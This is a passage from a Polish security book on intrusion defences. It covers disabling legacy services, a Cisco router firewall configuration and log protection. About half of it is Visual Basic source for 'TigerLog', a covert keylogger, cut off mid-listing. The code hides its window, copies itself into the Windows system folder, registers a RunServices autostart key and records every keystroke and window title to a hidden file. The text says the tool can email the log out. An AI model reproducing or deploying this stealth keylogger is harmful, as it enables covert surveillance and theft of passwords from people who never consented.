sji  systemu  operacyjnego  i  wszystkich  aktualizacji.  Producenci  oprogramowania  dokła-
dają  starań,  aby  przeciwdziałać  nowym  odmianom  ataków  hakerów.  NaleŜy  takŜe  do-
brze zabezpieczyć zarezerwowane usługi portów, takie jak echochargen i telnet, dzięki 
czemu istnieje szansa wyeliminowania wielu zdalnych napastników. 

Aby  wyłączyć  te  usługi  w  systemach Windows,  musisz dokonać edycji rejestru  syste-
mowego, uruchamiając narzędzie regedit.exe ze znaku zachęty Start|Uruchom. Wyszu-
kaj wpisy dla tych usług i ustaw ich wartość na 

false

 lub 

0

. Po zakończeniu edycji zre-

startuj  system  i  zweryfikuj  wszystkie  modyfikacje.  Jeśli  chcesz  wyłączyć  te  usługi 
w systemie  UNIX,  po  prostu  dokonaj  edycji  pliku  /etc/inetd.conf  i  oznacz  wpis  usługi 
jako komentarz. Następnie zrestartuj cały system lub tylko proces inetd. Więcej infor-
macji na temat tych procedur moŜesz znaleźć w rozdziale 1. Tak jak wspomniano w tym 
rozdziale, jeśli masz wątpliwości dotyczące tych modyfikacji, moŜesz zajrzeć do dodat-
ku  A,  gdzie  znajdują  się  informacje  na  temat  róŜnych  programów  zabezpieczających. 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

169 

 

169

 

TigerWatch  pozwala  na  aktywne  monitorowanie  i  blokowanie  portów  systemowych 
i usług bez konieczności dokonywania zmian w rejestrze lub ręcznego wyłączania danej 
usługi. 

W przypadku gdy dana usługa jest wymagana przez firmowe lub osobiste zasady dzia-
łania,  moŜesz  w  UNIX-ie  włączyć  funkcję  wrap  dla  tej  usługi  lub  ograniczyć  liczbę 
jednoczesnych  połączeń  z  daną  usługą.  Ograniczająć  liczbę  odpowiedzi  na  zapytania 
portu,  moŜesz  uniknąć  przepełnienia,  poniewaŜ  serwer  poświęci  zasoby  tylko  na  bez-
pieczną ilość otwartych sesji (patrz rysunek 2.5). Ta procedura jest szczególnie polecana 
dla demonów typu Telnet, FTP i http. Nie naleŜy równieŜ zapomnieć o wyłączeniu ba-
nerów usług oraz otwieraniu dostępnych sesji przy uŜyciu adresów IP lub zaszyfrowanego 
uwierzytelniania. 

Rysunek 2.5.  
Ograniczanie zapytań 
sesji usługi 

 

 

Obecnie producenci sprzętu sieciowego dołączają do swoich urządzeń zaawansowane 
moduły i aktualizacje zabezpieczające przed przepełnieniem. Zanim więc kupisz no-
wy sprzęt,  wybierz  urządzenie, które jest stabilne i  nie znajduje się  w fazie  testowej 
lub  na  początku  produkcji.  InŜynierowie  zawsze  kompilują  nowsze  wersje  urządzeń 
z prostszym  interfejsem  działania  oraz  mniej  enigmatycznymi  procedurami  wiersza 
poleceń. Dobrym przykładem mogą być tutaj routery Cisco z włączoną funkcją fire-
walla, które oferują zaawansowane opcje zabezpieczeń wymienione poniŜej. 









 

Global Timer Values (globalne wartości liczników). Te opcje determinują 
okres czasu, jaki musi minąć dla róŜnych stanów połączeń, zanim połączenie 
zostanie przerwane. 



 

TCP connection timeout — czas oczekiwania na połączenie TCP, zanim 
połączenie nie zostanie przerwane. 



 

TCP FIN-wait timeout — czas oczekiwania na zakończenie połączenia 
TCP, zanim połączenie nie zostanie przerwane. 



 

TCP idle timeout — czas braku aktywności połączenia TCP, zanim 
połączenie nie zostanie przerwane. 



 

UDP idle timeout — czas braku aktywności połączenia UDP, zanim 
połączenie nie zostanie przerwane. 



 

DNS timeout — czas dozwolony na próbę połączenia z serwerem DNS, 
zanim próba nie zostanie uznana za nieudaną. 









 

DoS Attack Threshold (progi liczników ataków DoS). Te opcje ograniczają 
liczbę półotwartych sesji DoS. Niezwykle wysoka liczba półotwartych sesji 
DoS zarówno pod względem liczby całkowitej, jak i prędkości przyrostu 
moŜe świadczyć o próbie ataku DoS (odmowa usługi). Górne wartości 

background image

 
170 

Hack Wars. Tom 2. Na tropie hakerów 

170 

 

progów w tej grupie wskazują liczbę sesji, która wywołuje usunięcie 
półotwartych sesji. Usuwanie takich sesji będzie trwało aŜ do momentu 
osiągnięcia dolnej wartości odpowiedniego progu. 



 

One-minute low threshold — liczba półotwartych sesji DoS w ciągu 
ostatniej minuty, która powoduje przerwanie procesu usuwania sesji DoS. 



 

One-minute high threshold — liczba półotwartych sesji DoS w ciągu 
ostatniej minuty, która powoduje rozpoczęcie procesu usuwania sesji DoS. 



 

Maximum incomplete session low threshold — całkowita liczba półotwartych 
sesji DoS, która powoduje przerwanie procesu usuwania sesji DoS. 



 

Maximum incomplete session high threshold — całkowita liczba 
półotwartych sesji DoS, która powoduje rozpoczęcie procesu usuwania 
sesji DoS. 









 

TCP Maximum Incomplete Sessions per Host (maksymalna liczba 
półotwartych sesji TCP dla hosta). Podaje maksymalną liczbę sesji, które 
mogą być otwarte dla kaŜdego hosta, zanim wywołane zostanie jakieś 
działanie. To działanie jest zaleŜne od wartości Blocking Time









 

Blocking Time (czas blokowania). Jeśli włączona jest ta opcja, to po osiągnięciu 
maksymalnej wartości TCP Maximum Incomplete Sessions per Host router 
przestanie akceptować kolejne sesje, aŜ do momentu upływu czas podanego 
przez tę opcję. Jeśli wyłączono tę funkcję, kaŜda nowa sesja spowoduje 
zamknięcie najstarszej sesji. 

Przypomnij sobie scenariusz przedstawiony na rysunku 2.1 z działającym firewallem. 
Zaawansowane  opcje  zabezpieczeń  zmienią  konfigurację  uruchomionego  routera  lo-
kalnego w następujący sposób. 

service password-encryption 
no service tcp-small-servers 
no service udp-small-servers 

hostname Local 

enable password 7 password 

ip source-route 
no ip name-server 

ip subnet-zero 
no ip domain-lookup 
ip routing 

! Kontrola dost

ę

pu w oparciu o kontekst 


ip inspect tcp synwait-time 30 
ip inspect tcp finwait-time 5 
ip inspect tcp idle-time 3600 
ip inspect udp idle-time 30 
ip inspect dns-timeout 5 
ip inspect one-minute low 900 
ip inspect one-minute high 1100 
ip inspect max-incomplete low 900 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

171 

 

171

 

ip inspect max-incomplete high 1100 
ip inspect tcp max-incomplete host 50 block-time 2 

! IP inspect Ethernet_0 

ip inspect name Ethernet_0 tcp 
ip inspect name Ethernet_0 udp 
ip inspect name Ethernet_0 cuseeme 
ip inspect name Ethernet_0 ftp 
ip inspect name Ethernet_0 h323 
ip inspect name Ethernet_0 rcmd 
ip inspect name Ethernet_0 realaudio 
ip inspect name Ethernet_0 smtp 
ip inspect name Ethernet_0 streamworks 
ip inspect name Ethernet_0 vdolive 
ip inspect name Ethernet_0 sqlnet 
ip inspect name Ethernet_0 tftp 

! IP inspect Serial_0 

ip inspect name Serial_0 tcp 
ip inspect name Serial_0 udp 
ip inspect name Serial_0 cuseeme 
ip inspect name Serial_0 ftp 
ip inspect name Serial_0 h323 
ip inspect name Serial_0 rcmd 
ip inspect name Serial_0 realaudio 
ip inspect name Serial_0 smtp 
ip inspect name Serial_0 streamworks 
ip inspect name Serial_0 vdolive 
ip inspect name Serial_0 sqlnet 
ip inspect name Serial_0 tftp 

interface Ethernet 0 
 no shutdown 
 description connected to Ethernet LAN 
 ip address 172.29.41.1 255.255.255.0 
 ip inspect Ethernet_0 in 
 ip access-group 100 in 
 keepalive 10 

 interface Serial 0 
 no shutdown 
 description connected to Remote network 
 ip address 172.29.42.1 255.255.255.252 
 ip inspect Serial_0 in 
 ip access-group 101 in 
 encapsulation hdlc 

! Lista kontroli dost

ę

pu 100 


access-list 100 deny ip 172.29.42.0 0.0.0.3 any 
access-list 100 deny ip 172.29.43.0 0.0.0.255 any 
access-list 100 permit udp any eq rip any eq rip 
access-list 100 permit ip any 172.29.42.0 0.0.0.3 
access-list 100 permit ip any 172.29.43.0 0.0.0.255 

! Lista kontroli dost

ę

pu 101 


access-list 101 deny ip 172.29.41.0 0.0.0.255 any 
access-list 101 permit udp any eq rip any eq rip 
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 23 
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 107 

background image

 
172 

Hack Wars. Tom 2. Na tropie hakerów 

172 

 

access-list 101 permit ip any 172.29.41.0 0.0.0.255 

router rip 
 version 2 
 network 172.29.0.0 
 no auto-summary 


ip classless 
no ip http server 
snmp-server community local RO 
no snmp-server location 
no snmp-server contact 

line console 0 
 exec-timeout 0 0 
 password 7 password 
 login 

line vty 0 4 
 password 7 password 
 login 

Sprawdź  u  swojego  producenta  dostępność  konkretnych  procedur  przeciwdziałają-
cych przepełnianiu. Wiele interfejsów lub konsoli do lokalnego zarządzania Internetem 
jeszcze  bardziej  ułatwia  ustawienie  odpowiednich  opcji.  Na  rysunku  2.6  przyjrzyj  się 
systemowi „wskaŜ i zaznacz” w programie NetScreen

Rysunek 2.6.  
System „wskaŜ 
i zaznacz” 
w programie 
NetScreen sprawia, 
Ŝ

e nawet 

zaawansowane opcje 
zabezpiecze
ń stają się 
proste 

 

 

Kolejnym popularnym atakiem hakerów jest rozgłaszanie (broadcasting). Według defini-
cji  zawartej  w  pierwszym  tomie  tej  ksiąŜki,  oznacza  to  sposób  transmisji  czegoś  we 
wszystkich  kierunkach.  Większość  protokołów  komunikacyjnych  udostępnia  funkcję 
wysyłania komunikatów do wszystkich węzłów w sieci. Dlatego teŜ waŜne jest, aby po-
dzielić większe sieci na mniejsze części przy uŜyciu mostów i routerów, poniewaŜ takie 
mniejsze segmenty tworzą oddzielne domeny rozgłaszania. Wyobraź sobie pojedynczą 
sieć z 250 węzłami, która padła ofiarą przepełnienia przez rozgłaszanie. Napastnik moŜe 
z  łatwością  zablokować  całą  przepustowość  sieci.  Jeśli  jednak  taka  sieć  zostanie  wła-
ś

ciwie  podzielona  na  segmenty,  routery  i  mosty  będą  mogły  filtrować  takie  ataki,  nie 

przesyłając po prostu takich transmisji przez interfejsy. W większości przypadków taka 
funkcja  blokowania  jest  włączona  domyślnie.  NaleŜy  równieŜ  pamiętać,  iŜ  moŜesz, 
a czasami  nawet  powinieneś,  uzupełnić  taką  blokadę,  uŜywając  narzędzia  do  podsłu-
chiwania pakietów (sniffer). 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

173 

 

173

 

Ochrona przed manipulacją dziennikami 

Manipulacja  dziennikami  to  środek  działania  hakerów,  słuŜący  do  edycji  dziennika 
nadzoru  w  celu  usunięcia  wszelkich  śladów  aktywności  w  systemie  docelowym.  Do 
tego  celu  hakerzy  często  uŜywają  oprogramowania  osłaniającego,  które  wyszukuje 
i niszczy dzienniki, oznakowania i pliki tymczasowe. 

W pierwszym tomie tej ksiąŜki omówiliśmy typowe techniki  manipulacji dziennikami 
w systemach  Windows  i  UNIX,  wykonywane  w  standardowych  warunkach  operacyj-
nych. W tej części skupimy się na sposobach zabezpieczenia tych procedur, co obejmu-
je metody archiwizacji w celu zapewnienia poprawnego działania funkcji zapisu dzien-
ników. Ta funkcja moŜe być niezmiernie przydatna w czasie zbierania jednoznacznych 
dowodów na ataki hakerów, a takŜe w przypadku rozwiązywania problemów związanych 
z potencjalnymi konfliktami modyfikacji systemu. Istnieją równieŜ pewne logiczne proce-
dury techniczne, które pomogą zabezpieczyć pliki dzienników, a takŜe zaimplementować 
redundancję (nadmiarowość). 

Zapisywanie  zdarzeń  w  plikach  dzienników  jest  waŜną  funkcją  systemów  operacyj-
nych, urządzeń sieciowych oraz demonów usług. Posiadanie takich informacji, jak mo-
dyfikacje konfiguracji, status operacyjny, status logowania oraz wykorzystanie proce-
sów, moŜe oszczędzić wiele czasu poświęconego na rozwiązywanie problemów i badanie 
zabezpieczeń.  Funkcja  tworzenia  dzienników  przez  system,  przeglądarkę,  terminal 
i demony  powinna  stać  się  częścią  procedury  codziennego  zbierania  informacji  sys-
temowych.  Dla  przykładu  pliki  dzienników  przeglądarki  są  przechowywane  w  poniŜej 
przedstawionych katalogach. MoŜna je wykorzystać w czasie codziennej archiwizacji. 

NETSCAPE 

\Netscape\Users\default\cookies.txt 
\Netscape\Users\default\netscape.hst 
\Netscape\Users\default\prefs.js 
\Netscape\Users\default\Cache\*.* 

INTERNET EXPLORER 

\Windows\Tempor~1\index.dat 
\Windows\Cookies\index.dat 
\Windows\History\index.dat 

Dzienniki demonów usług są znacznie prostsze do zarządzania; do tego celu moŜna wyko-
rzystać zapytania bazy danych, na przykład Accessa, Oracle’a lub SQL-a, lub bezpośredni 
dostęp  do  pliku,  co  zilustrowano  na  rysunku  2.7.  W  zaleŜności  od  wykorzystania  pliki 
dzienników powinny być regularnie archiwizowane. ZauwaŜ jednakŜe, iŜ monitorowanie 
adresów  URL,  dostępu  przez  FTP  oraz  obsługa  dzienników  przeglądarki  i  proxy  moŜe 
znacznie zwiększyć wymagane nakłady. 

background image

 
174 

Hack Wars. Tom 2. Na tropie hakerów 

174 

 

Rysunek 2.7.  
Ustawianie funkcji 
dzienników demona 
usługi 

 

 

Głównym  problemem  spowodowanym  przez  manipulację  dziennikami  jest  usunięcie 
ich  samych  lub  likwidacja  danych  po  nieautoryzowanej  penetracji.  Z  tego  powodu 
omówimy  techniki  ukrytego  tworzenia  dzienników.  Oprócz  wcześniej  wymienionych, 
znanych  procedur  tworzenia  dzienników,  ukryte  dzienniki  z  ograniczonym  dostępem 
(który zostaje przyznany tylko kilku zaufanym administratorom) mogą być świetną alter-
natywą. W niektórych przypadkach jednak moŜe być zalecane lub konieczne przydziele-
nie odpowiedzialności za ukryte dzienniki wielu osobom, które nie współpracują ze sobą. 
RóŜne punkty widzenia tych osób mogą spowodować ulepszenie sposobu rozwiązywa-
nia  konfliktów.  NiezaleŜnie  od  tego  ukryte  dzienniki  z  ograniczonym  dostępem  mogą 
zostać zaimplementowane przy uŜyciu własnej techniki w celu monitorowania osób ko-
rzystających z danego komputera (na przykład uŜytkowników z ograniczonymi prawa-
mi, takich jak małe dzieci) oraz śledzenia wszystkich czynności wykonywanych ręcznie. 

Choć  takie  programy  do  tworzenia  dzienników  mogą  być  bardzo  skomplikowane,  są 
one relatywnie łatwe do zakodowania; istnieją równieŜ setki narzędzi typu shareware, fre-
eware  lub  komercyjnych.  Aby  szybko  je  pobrać  i  przetestować,  poszukaj  takich 
programów  w  wersji  dla  Windows  i  UNIX  na  witrynach  C|Net  (download.cnet. 
com
),  TuCows  (www.tucows.com),  Shareware.com  (www.shareware.com)  i  ZDNet 
(www.zdnet.com/downloads). Oto kilka najpopularniejszych programów: 









 

Stealth Activity Recorder and Reporter (STARR) firmy IOPUS Software 
(www.iopus.com), 









 

Invisible KeyLogger firmy Amecisco (www.amecisco.com), 









 

KeyInterceptor firmy UltraSoft (www.ultrasoft.ro), 









 

Ghost KeyLogger firmy Sure Shot (http://sureshot.virtualave.net). 

Domowi  i  prywatni  uŜytkownicy  mogą  równieŜ  dostosować  narzędzie  TigerLog 
(patrz  rysunek  2.8)  w  celu  pełnego,  ukrytego  zapisywania  w  dzienniku  wciskanych 
klawiszy. TigerLog oferuje moŜliwość modyfikacji klawiszy, które mają być zapisy-
wane,  zmiany  sekwencji  klawiszy  aktywującej  wyświetlenia  okna  podsłuchu  sesji 
(obecnie  Shift+F12),  zmiany  połoŜenia  i  domyślnej  nazwy  pliku  dziennika  (/Windows/ 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

175 

 

175

 

System/TigerLog.TXT),  a takŜe  wysłania  zawartości  pliku  dziennika  po  jego  zapeł-
nieniu na wybrany adres e-mailowy (ktos@serwer_poczty.com) przy uŜyciu serwera 
SMTP (mail.mailserver.net). PoniŜej znajduje się najbardziej aktualna kompilacja Ti-
gerLoga

Rysunek 2.8.  
TigerLog (widoczny 
tryb podsłuchu sesji) 
do ukrytego 
monitorowania 
aktywno
ści systemu 
i zapisywania 
w dzienniku 
wci
śniętych klawiszy 

 

 

TigerLog 

Private Declare Function Getasynckeystate Lib "user32" Alias 
"GetAsyncKeyState" (ByVal VKEY As Long) As Integer 

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey 

As Long) As Integer 

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal 

hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, 
ByVal samDesired As Long, phkResult As Long) As Long 

Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal 

hKey As Long, ByVal lpValueName As String, ByVal Reserved As 
Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData 
As Long) As Long 

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey 

As Long) As Long 

Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" 

(ByVal dwProcessID As Long, ByVal dwType As Long) As Long 

Private Declare Function GetForegroundWindow Lib "user32.dll" () As 

Long 

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As 

Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As 
Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long) 
As Long 

Private Declare Function GetWindowText Lib "user32" Alias 

"GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, 
ByVal cch As Long) As Long 

Private Declare Function GetWindowTextLength Lib "user32" Alias 

"GetWindowTextLengthA" (ByVal hWnd As Long) As Long 

Private Declare Function GetComputerName Lib "kernel32" Alias 

"GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long 

Private Declare Function GetUserName Lib "advapi32.dll" Alias 

"GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long 

Private Const VK_CAPITAL = &H14 
Const REG As Long = 1 

Const HKEY_LOCAL_MACHINE As Long = &H80000002 

Const HWND_TOPMOST = -1 

Const SWP_NOMOVE = &H2 
Const SWP_NOSIZE = &H1 
Const flags = SWP_NOMOVE Or SWP_NOSIZE 
Dim currentwindow As String 
Dim logfile As String 

background image

 
176 

Hack Wars. Tom 2. Na tropie hakerów 

176 

 

 
Public Function CAPSLOCKON() As Boolean 
Static bInit As Boolean 
Static bOn As Boolean 
If Not bInit Then 
While Getasynckeystate(VK_CAPITAL) 
Wend 
bOn = GetKeyState(VK_CAPITAL) 
bInit = True 
Else 
If Getasynckeystate(VK_CAPITAL) Then 
While Getasynckeystate(VK_CAPITAL) 
DoEvents 
Wend 
bOn = Not bOn 
End If 
End If 
CAPSLOCKON = bOn 
End Function 
 
Private Sub Command1_Click() 
Form1.Visible = False 
End Sub 
 
Private Sub Form_Load() 
    If App.PrevInstance Then 
        Unload Me 
        End 
    End If 
   HideMe 
   Hook Me.hWnd 

Dim mypath, newlocation As String, u 

currentwindow = GetCaption(GetForegroundWindow) 

mypath = App.Path & "\" & App.EXEName & ".EXE"  'nazwa aplikacji 
newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE" 

On Error Resume Next 
If LCase(mypath) <> LCase(newlocation) Then 
FileCopy mypath, newlocation 
End If 

u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, 

"Software\Microsoft\Windows\CurrentVersion\RunServices", 0, 
KEY_ALL_ACCESS, a) 

u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1) 
u = RegCloseKey(a) 
logfile = Environ("WinDir") & "\system\" & App.EXEName & ".TXT"  

'nazwa_aplikacji.txt w Windows\system 

Open logfile For Append As #1 
Write #1, vbCrLf 
Write #1, " -- Start: " & Now & "]" 
Write #1, String$(50, "-") 
Close #1 
End Sub 
 
Private Sub Form_Unload(Cancel As Integer) 
    UnHook Me.hWnd 
texter$ = Text1 
Open logfile For Append As #1 
Write #1, texter 
Write #1, String$(50, "-") 
Write #1, " -- End: " & Now & "]" 
Close #1 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

177 

 

177

 

End Sub 
 

Private Sub Timer1_Timer() 
If currentwindow <> GetCaption(GetForegroundWindow) Then 
currentwindow = GetCaption(GetForegroundWindow) 
Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window: 

" & currentwindow & "]" & vbCrLf 

End If 

‘aktywacja formularza poprzez shift + f12 

Dim keystate As Long 
Dim Shift As Long 
Shift = Getasynckeystate(vbKeyShift) 
 
'klawisze do przechwycenia 

keystate = Getasynckeystate(vbKeyA) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "A" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "a" 
End If 
 
keystate = Getasynckeystate(vbKeyB) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "B" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "b" 
End If 
 
keystate = Getasynckeystate(vbKeyC) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "C" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "c" 
End If 
 

keystate = Getasynckeystate(vbKeyD) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "D" 

End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "d" 
End If 

background image

 
178 

Hack Wars. Tom 2. Na tropie hakerów 

178 

 

 

keystate = Getasynckeystate(vbKeyE) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "E" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "e" 
End If 
 

keystate = Getasynckeystate(vbKeyF) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "F" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "f" 
End If 
 
keystate = Getasynckeystate(vbKeyG) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "G" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "g" 
End If 
 
keystate = Getasynckeystate(vbKeyH) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "H" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "h" 

End If 
 
keystate = Getasynckeystate(vbKeyI) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "I" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "i" 
End If 
 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

179 

 

179

 

keystate = Getasynckeystate(vbKeyJ) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "J" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "j" 
End If 
 

keystate = Getasynckeystate(vbKeyK) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "K" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "k" 
End If 
 

keystate = Getasynckeystate(vbKeyL) 
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "L" 

End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "l" 
End If 
 
 
keystate = Getasynckeystate(vbKeyM) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "M" 

End If 
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "m" 
End If 
 
 
keystate = Getasynckeystate(vbKeyN) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "N" 

End If 
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "n" 
End If 

background image

 
180 

Hack Wars. Tom 2. Na tropie hakerów 

180 

 

 
keystate = Getasynckeystate(vbKeyO) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "O" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "o" 
End If 
 
keystate = Getasynckeystate(vbKeyP) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "P" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "p" 
End If 
 
keystate = Getasynckeystate(vbKeyQ) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "Q" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "q" 
End If 
 
keystate = Getasynckeystate(vbKeyR) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "R" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "r" 
End If 
 
keystate = Getasynckeystate(vbKeyS) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "S" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "s" 
End If 
 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

181 

 

181

 

keystate = Getasynckeystate(vbKeyT) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "T" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "t" 

End If 
 
keystate = Getasynckeystate(vbKeyU) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "U" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "u" 
End If 
 
